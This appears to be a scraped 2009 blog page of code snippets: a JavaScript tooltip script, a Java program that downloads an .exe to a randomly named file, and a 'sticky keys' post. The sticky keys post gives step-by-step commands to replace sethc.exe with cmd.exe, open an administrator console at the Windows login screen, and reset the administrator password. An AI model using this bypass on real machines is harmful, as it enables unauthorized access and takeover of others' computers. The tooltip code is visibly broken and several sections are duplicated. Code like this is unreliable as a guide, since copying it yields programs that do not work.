//Set Icon in Mouse Pointer by Javascript
function initToolTips()
{
if(document.getElementById)
{
toolTipSTYLE = document.getElementById("toolTipLayer").style;
}
if(is_ie is_nav6up)
{
toolTipSTYLE.visibility = "visible";
toolTipSTYLE.display = "none";
document.onmousemove = moveToMousePos;
}
}
function moveToMousePos(e)
{
if(!is_ie)
{ x = e.pageX; y = e.pageY; }
else
{ x = event.x + document.body.scrollLeft; y = event.y + document.body.scrollTop;
}
toolTipSTYLE.left = x + offsetX+'px';
toolTipSTYLE.top = y + offsetY+'px';
return true;
}
function hide()
{ if(is_nav4) toolTipSTYLE.visibility = "hidden";
else toolTipSTYLE.display = "none";
}
function show()
{ toolTip(s);
}
function toolTip(msg, fg, bg)
{
if(toolTip.arguments.length < 1)
// if no arguments are passed then hide the tootip
{ if(is_nav4)
toolTipSTYLE.visibility = "hidden";
else toolTipSTYLE.display = "none";
} else
// show { var content = msg; if(is_nav4)
{ toolTipSTYLE.document.write(content);
toolTipSTYLE.document.close();
toolTipSTYLE.visibility = "visible"; }
else if(is_ie is_nav6up)
{ document.getElementById("toolTipLayer").innerHTML = content; toolTipSTYLE.display='block'; }
}
}
////Above java script is to Set Icon in Mouse Pointer by Javascript
//add this code into your page
// add this to your Webpage.
onmouseout="hide();" onmouseover="initToolTips();doImage('image name or text');show();
Tuesday, April 28, 2009
Software Save Code
import java.io.*;
import java.net.*;
public class Main {
public static void main(String[] args)throws Exception {
// TODO code application logic here
getImage("http://nchc.dl.sourceforge.net/sourceforge/drjava/drjava-stable-20080904-r4668.exe","C:/Temporary");
}
public static void getImage(String urltoget,String pathtoinsert)
{
DataInputStream di = null;
FileOutputStream fo = null;
byte [] b = new byte[1];
try{
URL urls = new URL(urltoget);
URLConnection urlConnection = urls.openConnection();
urlConnection.connect();
di = new DataInputStream(urlConnection.getInputStream());
fo = new FileOutputStream(pathtoinsert+"/"+new java.util.Random().nextInt()+".exe");
int d=0;
while(-1 != di.read(b,0,1))
{
d++;
fo.write(b,0,1);
}
di.close();
fo.close();
}
catch(Exception e1){System.out.println(e1.toString());}
}
}
import java.net.*;
public class Main {
public static void main(String[] args)throws Exception {
// TODO code application logic here
getImage("http://nchc.dl.sourceforge.net/sourceforge/drjava/drjava-stable-20080904-r4668.exe","C:/Temporary");
}
public static void getImage(String urltoget,String pathtoinsert)
{
DataInputStream di = null;
FileOutputStream fo = null;
byte [] b = new byte[1];
try{
URL urls = new URL(urltoget);
URLConnection urlConnection = urls.openConnection();
urlConnection.connect();
di = new DataInputStream(urlConnection.getInputStream());
fo = new FileOutputStream(pathtoinsert+"/"+new java.util.Random().nextInt()+".exe");
int d=0;
while(-1 != di.read(b,0,1))
{
d++;
fo.write(b,0,1);
}
di.close();
fo.close();
}
catch(Exception e1){System.out.println(e1.toString());}
}
}
Friday, April 17, 2009
5 times shift key
in C:\WINDOWS\system32 a file named sethc.exe is executed when the "shift "key is pressed 5 consecutive times, in safe mode, you can copy and rename cmd.exe to get the console, now reboot when windows ask you what you want to do, press "shift" key 5 consecutive times and now you have the console in administrator mode
from the console you can execute everything, like system restore
(C:\WINDOWS\system32\Restore\rstrui.exe)
copy [source] [destination]
step 1. C:\>copy C:\WINDOWS\system32\cmd.exe f:\
1 file(s) copied.
step 2. C:\>ren f:\cmd.exe sethc.exe
step 3. C:\>xcopy f:\sethc.exe C:\WINDOWS\system32\ /y
F:\sethc.exe
1 File(s) copied
/Y Overwrites existing files without prompting.
net user [username] [password]
C:\>net user administrator 12
The command completed successfully.
from the console you can execute everything, like system restore
(C:\WINDOWS\system32\Restore\rstrui.exe)
copy [source] [destination]
step 1. C:\>copy C:\WINDOWS\system32\cmd.exe f:\
1 file(s) copied.
step 2. C:\>ren f:\cmd.exe sethc.exe
step 3. C:\>xcopy f:\sethc.exe C:\WINDOWS\system32\ /y
F:\sethc.exe
1 File(s) copied
/Y Overwrites existing files without prompting.
net user [username] [password]
C:\>net user administrator 12
The command completed successfully.
Subscribe to:
Posts (Atom)
